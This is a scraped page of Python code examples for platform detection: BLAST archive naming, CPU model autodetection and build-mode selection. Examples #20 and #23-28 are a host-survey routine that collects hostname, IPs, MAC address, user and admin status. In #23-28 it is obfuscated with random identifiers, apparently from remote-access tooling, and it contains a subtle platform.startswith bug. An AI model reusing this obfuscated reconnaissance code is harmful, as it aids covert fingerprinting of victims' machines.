示例#1
0
def create_new_tarball_name(platform, version):
    """ Converts the name of a platform as specified to the prepare_release 
    framework to an archive name according to BLAST release naming conventions.
    
    Note: the platform names come from the prepare_release script conventions,
    more information can be found in http://mini.ncbi.nih.gov/3oo
    """

    retval = "ncbi-blast-" + version + "+"
    if platform.startswith("Win32"):
        retval += "-ia32-win32"
    elif platform.startswith("Win64"):
        retval += "-x64-win64"
    elif platform.startswith("Linux32"):
        retval += "-ia32-linux"
    elif platform.startswith("Linux64"):
        retval += "-x64-linux"
    elif platform == "IntelMAC":
        retval += "-universal-macosx"
    elif platform == "SunOSSparc":
        retval += "-sparc64-solaris"
    elif platform == "SunOSx86":
        retval += "-x64-solaris"
    else:
        raise RuntimeError("Unknown platform: " + platform)
    return retval
示例#2
0
文件: util.py 项目: kraziant/pyvisa
def get_arch(filename):
    platform = sys.platform
    if platform.startswith('win'):
        machine_type = get_shared_library_arch(filename)
        if machine_type == 'I386':
            return (32, )
        elif machine_type in ('IA64', 'AMD64'):
            return (64, )
        else:
            return ()
    elif not platform in ('linux2', 'linux3', 'linux', 'darwin'):
        raise OSError('')

    out = subprocess.check_output(["file", filename], stderr=subprocess.STDOUT)
    out = out.decode('ascii')
    ret = []
    if platform.startswith('linux'):
        if '32-bit' in out:
            ret.append(32)
        if '64-bit' in out:
            ret.append(64)
    elif platform == 'darwin':
        if '(for architecture i386)' in out:
            ret.append(32)
        if '(for architecture x86_64)' in out:
            ret.append(64)

    return tuple(ret)
示例#3
0
文件: util.py 项目: kraziant/pyvisa
def get_arch(filename):
    platform = sys.platform
    if platform.startswith('win'):
        machine_type = get_shared_library_arch(filename)
        if machine_type == 'I386':
            return (32, )
        elif machine_type in ('IA64', 'AMD64'):
            return (64, )
        else:
            return ()
    elif not platform in ('linux2', 'linux3', 'linux', 'darwin'):
        raise OSError('')

    out = subprocess.check_output(["file", filename],
                                  stderr=subprocess.STDOUT)
    out = out.decode('ascii')
    ret = []
    if platform.startswith('linux'):
        if '32-bit' in out:
            ret.append(32)
        if '64-bit' in out:
            ret.append(64)
    elif platform == 'darwin':
        if '(for architecture i386)' in out:
            ret.append(32)
        if '(for architecture x86_64)' in out:
            ret.append(64)

    return tuple(ret)
示例#4
0
def create_new_tarball_name(platform, program, version):
    """ Converts the name of a platform as specified to the prepare_release 
    framework to an archive name according to BLAST release naming conventions.
    
    Note: the platform names come from the prepare_release script conventions,
    more information can be found in http://mini.ncbi.nih.gov/3oo
    """
    
    retval = "ncbi-" + program + "-" + version
    if program == "blast":
        retval += "+"
    if platform.startswith("Win32"):
        retval += "-ia32-win32"
    elif platform.startswith("Win64"):
        retval += "-x64-win64"
    elif platform.startswith("Linux32"):
        retval += "-ia32-linux"
    elif platform.startswith("Linux64"):
        retval += "-x64-linux"
    elif platform == "IntelMAC":
        retval += "-universal-macosx"
    elif platform == "SunOSSparc":
        retval += "-sparc64-solaris"
    elif platform == "SunOSx86":
        retval += "-x64-solaris"
    else:
        raise RuntimeError("Unknown platform: " + platform)
    return retval
示例#5
0
    def get_macos_aligned_version(macos_vers):
        platform = config.apple_platform
        if platform == 'osx':
            return macos_vers

        macos_major, macos_minor = macos_vers
        assert macos_major >= 10

        if macos_major == 10:  # macOS 10.x
            major = macos_minor
            minor = 0
        else:  # macOS 11+
            major = macos_major + 5
            minor = macos_minor

        assert major >= 11

        if platform.startswith('ios') or platform.startswith('tvos'):
            major -= 2
        elif platform.startswith('watch'):
            major -= 9
        else:
            lit_config.fatal(
                "Unsupported apple platform '{}'".format(platform))

        return (major, minor)
示例#6
0
def is_unix_like(platform=None):
    """Returns whether the given platform is a Unix-like platform with the usual
    Unix filesystem. When the parameter is omitted, it defaults to ``sys.platform``
    """
    platform = platform or sys.platform
    platform = platform.lower()
    return platform.startswith("linux") or platform.startswith("darwin") or \
            platform.startswith("cygwin")
示例#7
0
def is_unix_like(platform=None):
    """Returns whether the given platform is a Unix-like platform with the usual
    Unix filesystem. When the parameter is omitted, it defaults to ``sys.platform``
    """
    platform = platform or sys.platform
    platform = platform.lower()
    return platform.startswith("linux") or platform.startswith("darwin") or \
            platform.startswith("cygwin")
示例#8
0
 def get_build_modes(self):
     platform = sys.platform
     if platform.startswith("win"):
         return self._win.keys()
     elif platform.startswith("linux"):
         return self._linux.keys()
     elif platform.startswith("darwin"):
         return self._osx.keys()
     else:
         raise RuntimeError("Unknown platform " + platform)
 def get_build_modes(self):
     platform = sys.platform
     if platform.startswith("win"):
         return self._win.keys()
     elif platform.startswith("linux"):
         return self._linux.keys()
     elif platform.startswith("darwin"):
         return self._osx.keys()
     else:
         raise RuntimeError("Unknown platform " + platform)
示例#10
0
 def get_filename(self):
     platform = self.url.split("/")[-3]
     if platform.startswith("Linux"):
         return "chrome-linux.zip"
     elif platform == "Mac":
         return "chrome-mac.zip"
     elif platform.startswith("Win"): # Chrome puts win64 in win32 folder.
         return "chrome-win32.zip"
     elif platform == "Android":
         return "chrome-android.zip"
     raise Exception("Unknown platform: " + platform)
示例#11
0
 def setsid():
     platform = sys.platform
     if platform.startswith('linux'):
         setsid = 'setsid'
     elif platform.startswith('darwin'):
         setsid = os.path.normpath(
             os.path.join(os.path.dirname(__file__), '..', 'utils',
                          'setsid'))
     else:
         setsid = ''
     return setsid
示例#12
0
 def _get_list_of_test_configurations(self, builder):
     platform = sys.platform
     configurations = []
     if platform.startswith("win"):
         if self._win[builder]:
             configurations.extend(self._win[builder])
     elif platform.startswith("linux"):
         if self._linux[builder]:
             configurations.extend(self._linux[builder])
     elif platform.startswith("darwin"):
         if self._osx[builder]:
             configurations.extend(self._osx[builder])
     else:
         raise RuntimeError("Unknown platform " + platform)
     return configurations
 def _get_list_of_test_configurations(self, builder):
     platform = sys.platform
     configurations = []
     if platform.startswith("win"):
         if self._win[builder]:
             configurations.extend(self._win[builder])
     elif platform.startswith("linux"):
         if self._linux[builder]:
             configurations.extend(self._linux[builder])
     elif platform.startswith("darwin"):
         if self._osx[builder]:
             configurations.extend(self._osx[builder])
     else:
         raise RuntimeError("Unknown platform " + platform)
     return configurations
示例#14
0
def autodetect_main_model():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):   # assume an Intel Windows
            return 'x86'
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    try:
        return {'i386': 'x86',
                'i486': 'x86',
                'i586': 'x86',
                'i686': 'x86',
                'i86pc': 'x86',    # Solaris/Intel
                'x86':   'x86',    # Apple
                'Power Macintosh': 'ppc',
                'x86_64': 'x86',
                'amd64': 'x86',    # freebsd
                'AMD64': 'x86',    # win64
                }[mach]
    except KeyError:
        return mach
示例#15
0
def autodetect_main_model():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):  # assume an Intel Windows
            return 'i386'
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    if mach == 'x86_64':
        if sys.maxint == 2147483647:
            mach = 'x86'  # it's a 64-bit processor but in 32-bits mode, maybe
        else:
            assert sys.maxint == 2**63 - 1
    try:
        return {
            'i386': 'i386',
            'i486': 'i386',
            'i586': 'i386',
            'i686': 'i386',
            'i86pc': 'i386',  # Solaris/Intel
            'x86': 'i386',  # Apple
            'Power Macintosh': 'ppc',
            'x86_64': 'x86_64',
        }[mach]
    except KeyError:
        raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
示例#16
0
def autodetect():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):   # assume an Intel Windows
            return 'i386'
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    if mach == 'x86_64' and sys.maxint == 2147483647:
        mach = 'x86'     # it's a 64-bit processor but in 32-bits mode, maybe
    try:
        return {'i386': 'i386',
                'i486': 'i386',
                'i586': 'i386',
                'i686': 'i386',
                'i86pc': 'i386',    # Solaris/Intel
                'x86':   'i386',    # Apple
                'Power Macintosh': 'ppc', 
                }[mach]
    except KeyError:
        raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
示例#17
0
def autodetect_main_model():
    mach = None
    try:
        import platform

        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith("win"):  # assume an Intel Windows
            return "i386"
        # assume we have 'uname'
        mach = os.popen("uname -m", "r").read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    if mach == "x86_64":
        if sys.maxint == 2147483647:
            mach = "x86"  # it's a 64-bit processor but in 32-bits mode, maybe
        else:
            assert sys.maxint == 2 ** 63 - 1
    try:
        return {
            "i386": "i386",
            "i486": "i386",
            "i586": "i386",
            "i686": "i386",
            "i86pc": "i386",  # Solaris/Intel
            "x86": "i386",  # Apple
            "Power Macintosh": "ppc",
            "x86_64": "x86_64",
        }[mach]
    except KeyError:
        raise ProcessorAutodetectError, "unsupported processor '%s'" % mach
示例#18
0
文件: detect_cpu.py 项目: njues/Sypy
def autodetect_main_model():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):  # assume an Intel Windows
            return 'x86'
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    try:
        return {
            'i386': 'x86',
            'i486': 'x86',
            'i586': 'x86',
            'i686': 'x86',
            'i86pc': 'x86',  # Solaris/Intel
            'x86': 'x86',  # Apple
            'Power Macintosh': 'ppc',
            'x86_64': 'x86',
            'amd64': 'x86',  # freebsd
            'AMD64': 'x86',  # win64
        }[mach]
    except KeyError:
        return mach
示例#19
0
def detect_model_from_host_platform():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):   # assume an Intel Windows
            return MODEL_X86
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError("cannot run 'uname -m'")
    #
    result ={'i386': MODEL_X86,
            'i486': MODEL_X86,
            'i586': MODEL_X86,
            'i686': MODEL_X86,
            'i86pc': MODEL_X86,    # Solaris/Intel
            'x86': MODEL_X86,      # Apple
            'Power Macintosh': MODEL_PPC_64,
            'powerpc': MODEL_PPC_64, # freebsd
            'ppc64': MODEL_PPC_64,
            'ppc64le': MODEL_PPC_64,
            'x86_64': MODEL_X86,
            'amd64': MODEL_X86,    # freebsd
            'AMD64': MODEL_X86,    # win64
            'armv8l': MODEL_ARM,   # 32-bit ARMv8
            'armv7l': MODEL_ARM,
            'armv6l': MODEL_ARM,
            'arm': MODEL_ARM,      # freebsd
            's390x': MODEL_S390_64
            }.get(mach)

    if result is None:
        raise ProcessorAutodetectError("unknown machine name %s" % mach)
    #
    if result.startswith('x86'):
        from rpython.jit.backend.x86 import detect_feature as feature
        if sys.maxint == 2**63-1:
            result = MODEL_X86_64
        else:
            assert sys.maxint == 2**31-1
            if feature.detect_sse2():
                result = MODEL_X86
            else:
                result = MODEL_X86_NO_SSE2
            if feature.detect_x32_mode():
                raise ProcessorAutodetectError(
                    'JITting in x32 mode is not implemented')
    #
    if result.startswith('arm'):
        from rpython.jit.backend.arm.detect import detect_float
        if not detect_float():
            raise ProcessorAutodetectError(
                'the JIT-compiler requires a vfp unit')
    #
    return result
示例#20
0
def run(plat_type):
    # OS information
    sys_platform = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]

    # session information
    username = getpass.getuser()

    # network information
    hostname = socket.gethostname()
    fqdn = socket.getfqdn()
    internal_ip = socket.gethostbyname(hostname)
    raw_mac = uuid.getnode()
    mac = ':'.join(("%012X" % raw_mac)[i:i + 2] for i in range(0, 12, 2))

    # get external ip address
    ex_ip_grab = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    external_ip = ''
    for url in ex_ip_grab:
        try:
            external_ip = urllib.urlopen('http://' + url).read().rstrip()
        except IOError:
            pass
        if external_ip and (6 < len(external_ip) < 16):
            break

    # platform specific
    is_admin = False

    if plat_type.startswith('win'):
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0

    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        is_admin = os.getuid() == 0

    admin_access = 'Yes' if is_admin else 'No'

    survey_results = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}'''.format(sys_platform, processor, architecture,
                                       hostname, fqdn, internal_ip,
                                       external_ip, mac, username,
                                       admin_access)

    return survey_results
示例#21
0
def detect_model_from_host_platform():
    mach = None
    try:
        import platform
        mach = platform.machine()
    except ImportError:
        pass
    if not mach:
        platform = sys.platform.lower()
        if platform.startswith('win'):   # assume an Intel Windows
            return MODEL_X86
        # assume we have 'uname'
        mach = os.popen('uname -m', 'r').read().strip()
        if not mach:
            raise ProcessorAutodetectError, "cannot run 'uname -m'"
    #
    result ={'i386': MODEL_X86,
            'i486': MODEL_X86,
            'i586': MODEL_X86,
            'i686': MODEL_X86,
            'i86pc': MODEL_X86,    # Solaris/Intel
            'x86': MODEL_X86,      # Apple
            'Power Macintosh': MODEL_PPC_64,
            'x86_64': MODEL_X86,
            'amd64': MODEL_X86,    # freebsd
            'AMD64': MODEL_X86,    # win64
            'armv7l': MODEL_ARM,
            'armv6l': MODEL_ARM,
            'arm': MODEL_ARM,      # freebsd
            }.get(mach)

    if result is None:
        raise ProcessorAutodetectError, "unknown machine name %s" % mach
    #
    if result.startswith('x86'):
        if sys.maxint == 2**63-1:
            result = MODEL_X86_64
        else:
            assert sys.maxint == 2**31-1
            from rpython.jit.backend.x86 import detect_sse2
            if detect_sse2.detect_sse2():
                result = MODEL_X86
            else:
                result = MODEL_X86_NO_SSE2
            if detect_sse2.detect_x32_mode():
                raise ProcessorAutodetectError(
                    'JITting in x32 mode is not implemented')
    #
    if result.startswith('arm'):
        from rpython.jit.backend.arm.detect import detect_float
        if not detect_float():
            raise ProcessorAutodetectError(
                'the JIT-compiler requires a vfp unit')
    #
    return result
def _get_platform_resources_dir(yamake_args):
    target_platforms = _find_target_platforms(yamake_args)
    if not target_platforms:
        return ''.join((_get_platform(), '-', _get_arch()))
    if all([platform.startswith('darwin')
            for platform in target_platforms]) and ('--lipo' in yamake_args):
        return 'darwin-universal2'
    if len(target_platforms) > 1:
        raise Exception(
            "Can't build for multiple target platforms without `--lipo`")
    return target_platforms[0]
示例#23
0
def lbBccHiiDmGapnfkBzGcriIbWppvyzNz(plat_type):
    eqLkAkBjgGjTGfPeDauGnluuVklQLyTG = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    kNtjcTmaUphPWqJHGfwMFJsJusUMFIyx = getpass.getuser()
    ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz = socket.gethostname()
    FJJDnEjHDRLBxULFQMdiYnOHEobcGAeW = socket.getfqdn()
    XewTXXutMzoStpggiNmfNjOkaWqFtuYC = socket.gethostbyname(
        ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz)
    vNbIFEIuqevaxwWVArcrgIquJDHzADrF = uuid.getnode()
    MjtIPFNnVjOLUbDguyKOlWxZKjiqSYKB = ':'.join(
        ("%012X" % vNbIFEIuqevaxwWVArcrgIquJDHzADrF
         )[tknkraSeKCplXonScDzEvCvHGHSEDAAX:tknkraSeKCplXonScDzEvCvHGHSEDAAX +
           2] for tknkraSeKCplXonScDzEvCvHGHSEDAAX in range(0, 12, 2))
    YhRPaWdzrgmCkPoTWVAZKhRkWmfVfndt = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe = ''
    for kZOAqfHfsupfmFHaHZnLDQEHpblqSUCA in YhRPaWdzrgmCkPoTWVAZKhRkWmfVfndt:
        try:
            bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe = urllib.urlopen(
                'http://' + kZOAqfHfsupfmFHaHZnLDQEHpblqSUCA).read().rstrip()
        except IOError:
            pass
        if bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe and (
                6 < len(bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe) < 16):
            break
    OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = False
    if plat_type.startswith('win'):
        OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn = os.getuid() == 0
    cfjOMtHyAXIidgjFpwpHeIJKlFsdEBcP = 'Yes' if OiKcunAkxiNMgLHAbDPggXmrlUYgGOSn else 'No'
    aeHabJpBgsEkaDKTTSDEgByVgAaKnAtJ = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        eqLkAkBjgGjTGfPeDauGnluuVklQLyTG, processor, architecture,
        ijxYzpttYCmNkIjDvYYHDZIxZwCgoSlz, FJJDnEjHDRLBxULFQMdiYnOHEobcGAeW,
        XewTXXutMzoStpggiNmfNjOkaWqFtuYC, bWzMjYSPVDqxOvwJgHbKuXULOTsKnYXe,
        MjtIPFNnVjOLUbDguyKOlWxZKjiqSYKB, kNtjcTmaUphPWqJHGfwMFJsJusUMFIyx,
        cfjOMtHyAXIidgjFpwpHeIJKlFsdEBcP)
    return aeHabJpBgsEkaDKTTSDEgByVgAaKnAtJ
示例#24
0
def JJyEbjrynmapUHJCDQUQjcshajVjEFwA(plat_type):
    axrLmYBImtIZFYJQCZzwrLnUeZUmSjvG = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    NkWrEjssJvYyTiOKgYKUOLHqcEwJaeQM = getpass.getuser()
    NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ = socket.gethostname()
    hEnWDTSPYgZPhFEWCqFcCtAeMYYJTfJW = socket.getfqdn()
    yrsSlrMNkzzSQwGwarslgesYcQkQLWly = socket.gethostbyname(
        NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ)
    DkmgdjylWSgbZajSisdjoXSLtyPDmkhS = uuid.getnode()
    WksGWRNNfqSVwAdfWLdWLyBwQpXNdCAJ = ':'.join(
        ("%012X" % DkmgdjylWSgbZajSisdjoXSLtyPDmkhS
         )[RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy:RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy +
           2] for RdbcCUIsZtHxsXlDMItGlnJDYoKYZhIy in range(0, 12, 2))
    EXZWhHWlddyRvQAAAHGHztaFxwNTsgWF = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ = ''
    for ZdbdDcxafJkxVIFzvgrdCYAolZNpzPnH in EXZWhHWlddyRvQAAAHGHztaFxwNTsgWF:
        try:
            LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ = urllib.urlopen(
                'http://' + ZdbdDcxafJkxVIFzvgrdCYAolZNpzPnH).read().rstrip()
        except IOError:
            pass
        if LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ and (
                6 < len(LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ) < 16):
            break
    kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = False
    if plat_type.startswith('win'):
        kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN = os.getuid() == 0
    XpXhhWptuKsoQVPsItQuguWDaPtDlPyb = 'Yes' if kIxmhEXhJpYmzcOWkDAVvNxZRJkSFGHN else 'No'
    FnjGjyWfkYPeTnLcKvXixlmpkXidRCgS = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        axrLmYBImtIZFYJQCZzwrLnUeZUmSjvG, processor, architecture,
        NKhnjgkrMEwWfQPwGAffvTPaLWcoaCTJ, hEnWDTSPYgZPhFEWCqFcCtAeMYYJTfJW,
        yrsSlrMNkzzSQwGwarslgesYcQkQLWly, LdaudtDarQAPKJqAuQuGuHxEVXVuKaWZ,
        WksGWRNNfqSVwAdfWLdWLyBwQpXNdCAJ, NkWrEjssJvYyTiOKgYKUOLHqcEwJaeQM,
        XpXhhWptuKsoQVPsItQuguWDaPtDlPyb)
    return FnjGjyWfkYPeTnLcKvXixlmpkXidRCgS
示例#25
0
def pNKTPPqkGzrmqhneYrAXlKTwcMiQhwMR(plat_type):
    YGdrhGAyjfgcuypmZVeJSlugbzDhKVyI = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    xHsIFnZPzfaUJYdoOKBrYgGNGqyfQtVo = getpass.getuser()
    lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS = socket.gethostname()
    kHCJiVtDBpYrqgKvpZYybPChnbsFtMaC = socket.getfqdn()
    gvZxhMxSOOvXgwoLINxYjhVGgWlmNvJm = socket.gethostbyname(
        lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS)
    wkkIuryOVQwzOuFCkTnzIcZPusAjnNMt = uuid.getnode()
    dUkeZswZHwJyvDuWHAKDRPlWHzgykTMI = ':'.join(
        ("%012X" % wkkIuryOVQwzOuFCkTnzIcZPusAjnNMt
         )[oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI:oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI +
           2] for oaUVjRZSEqOiYdoDRRraRJNSStGiPkYI in range(0, 12, 2))
    sYTSMQCoyQvoYfcpbmEWqfJKEtoBcGFf = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS = ''
    for HiJzpfxOqMnOohWJImURiUzCtymUmfjZ in sYTSMQCoyQvoYfcpbmEWqfJKEtoBcGFf:
        try:
            ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS = urllib.urlopen(
                'http://' + HiJzpfxOqMnOohWJImURiUzCtymUmfjZ).read().rstrip()
        except IOError:
            pass
        if ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS and (
                6 < len(ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS) < 16):
            break
    RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = False
    if plat_type.startswith('win'):
        RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp = os.getuid() == 0
    aRyojSjrkFVBroufwrPJRFOXGFYyxbQA = 'Yes' if RxjhTRAZnfqURCqFbYtDvUwcovKLXbmp else 'No'
    vqqUnjoccziwgEYdUaFPcEDXuYkxVcOp = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        YGdrhGAyjfgcuypmZVeJSlugbzDhKVyI, processor, architecture,
        lVPrLEGrytyKcAreDjSGTBLuQRRyUwqS, kHCJiVtDBpYrqgKvpZYybPChnbsFtMaC,
        gvZxhMxSOOvXgwoLINxYjhVGgWlmNvJm, ZrYAjQorRspjxAMCyCjiUrwIOIUDoCDS,
        dUkeZswZHwJyvDuWHAKDRPlWHzgykTMI, xHsIFnZPzfaUJYdoOKBrYgGNGqyfQtVo,
        aRyojSjrkFVBroufwrPJRFOXGFYyxbQA)
    return vqqUnjoccziwgEYdUaFPcEDXuYkxVcOp
示例#26
0
 def os(self):
   """
   Return values:
   linux, unknown
   
   In case cannot detect raises 'unknown'
   """
   platform = sys.platform
   if platform.startswith('linux'):
     return "linux"
   else:
     return "unknown"
示例#27
0
def xWTiZYjcGlRKZbqRTGUReTzzfBOPCzBz(plat_type):
    YGjqBoZBWXewMRZgMPJgtQFJohnfAgyd = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    cBYmabZXYbdiPoSbAvrXgAtKIxDNkWMz = getpass.getuser()
    JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ = socket.gethostname()
    CWAyItNSwznDuuWCAuAqxTkcajMGcsmo = socket.getfqdn()
    kdblxKVqSbIVNdFMMfpLHseeQMzlmonM = socket.gethostbyname(
        JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ)
    MUpCVuhBvcICtJPBgFZwMVzsakVcPFxy = uuid.getnode()
    UBLmERlOfnZxPdWyXVfNbxOrUJGPwkCq = ':'.join(
        ("%012X" % MUpCVuhBvcICtJPBgFZwMVzsakVcPFxy
         )[kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh:kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh +
           2] for kWFtuPcTzhXQsxkZcspaKNvhNllUXCxh in range(0, 12, 2))
    KXfoENWiUOKUFvvMvuPuUttPbRaYlBGL = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr = ''
    for sUaJfpOuQuvOLAxfuwahzntNPiPrbwxU in KXfoENWiUOKUFvvMvuPuUttPbRaYlBGL:
        try:
            TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr = urllib.urlopen(
                'http://' + sUaJfpOuQuvOLAxfuwahzntNPiPrbwxU).read().rstrip()
        except IOError:
            pass
        if TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr and (
                6 < len(TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr) < 16):
            break
    XMVlasgMCxRNazLeIRciwinXpDvFdfpa = False
    if plat_type.startswith('win'):
        XMVlasgMCxRNazLeIRciwinXpDvFdfpa = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        XMVlasgMCxRNazLeIRciwinXpDvFdfpa = os.getuid() == 0
    kkNPuuVHEnxiEWzYgGnKTSQwccmDfqPR = 'Yes' if XMVlasgMCxRNazLeIRciwinXpDvFdfpa else 'No'
    sCjvbJlOStGROcndoTDYKAqJkWUieTUl = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        YGjqBoZBWXewMRZgMPJgtQFJohnfAgyd, processor, architecture,
        JSJsBCUqPfmAnwecCqcxgeKnVzUGFixZ, CWAyItNSwznDuuWCAuAqxTkcajMGcsmo,
        kdblxKVqSbIVNdFMMfpLHseeQMzlmonM, TKOHpXPOdSxxTUeWZpVEMSCUEjzBzzgr,
        UBLmERlOfnZxPdWyXVfNbxOrUJGPwkCq, cBYmabZXYbdiPoSbAvrXgAtKIxDNkWMz,
        kkNPuuVHEnxiEWzYgGnKTSQwccmDfqPR)
    return sCjvbJlOStGROcndoTDYKAqJkWUieTUl
示例#28
0
def KSPHuMocsXbfrKZwRqaErcEfeKhnQFFv(plat_type):
    qzJNSkSLfUeWqKBHqpLmzmfEMcCvAaPd = platform.platform()
    processor = platform.processor()
    architecture = platform.architecture()[0]
    ETNCUNIGUjIalLBUhujPLpRyQLeCWlnW = getpass.getuser()
    soJjjIqczmKOvESGAWGZjvcRfnXqsQSD = socket.gethostname()
    KsAfHQHjaKhZFQzJniEbnQUqHwcGyXfQ = socket.getfqdn()
    nLbAeQlSbZHGzzfBQuwGCXHaROxgvpYx = socket.gethostbyname(
        soJjjIqczmKOvESGAWGZjvcRfnXqsQSD)
    EELbLCdABoRoPNnDynApEvWIHrZfXafh = uuid.getnode()
    GqekErLaizvNJiVrKOCNmMKDFRQmcixk = ':'.join(
        ("%012X" % EELbLCdABoRoPNnDynApEvWIHrZfXafh
         )[JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr:JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr +
           2] for JYxOQoHxrWVlWZGFRgpIWcoGVeKxUiXr in range(0, 12, 2))
    VWGbawQBgIMdIrFShFNfhxwlfhnqVNyw = [
        'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain',
        'myexternalip.com/raw'
    ]
    kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw = ''
    for wZeKliJjXRYRdozBSSjHLXwmnkJyCXmR in VWGbawQBgIMdIrFShFNfhxwlfhnqVNyw:
        try:
            kChJSwmlKJhUGEMMfuRyAcEJjXGbkZjw = urllib.urlopen(
                'http://' + wZeKliJjXRYRdozBSSjHLXwmnkJyCXmR).read().rstrip()
        except IOError:
            pass
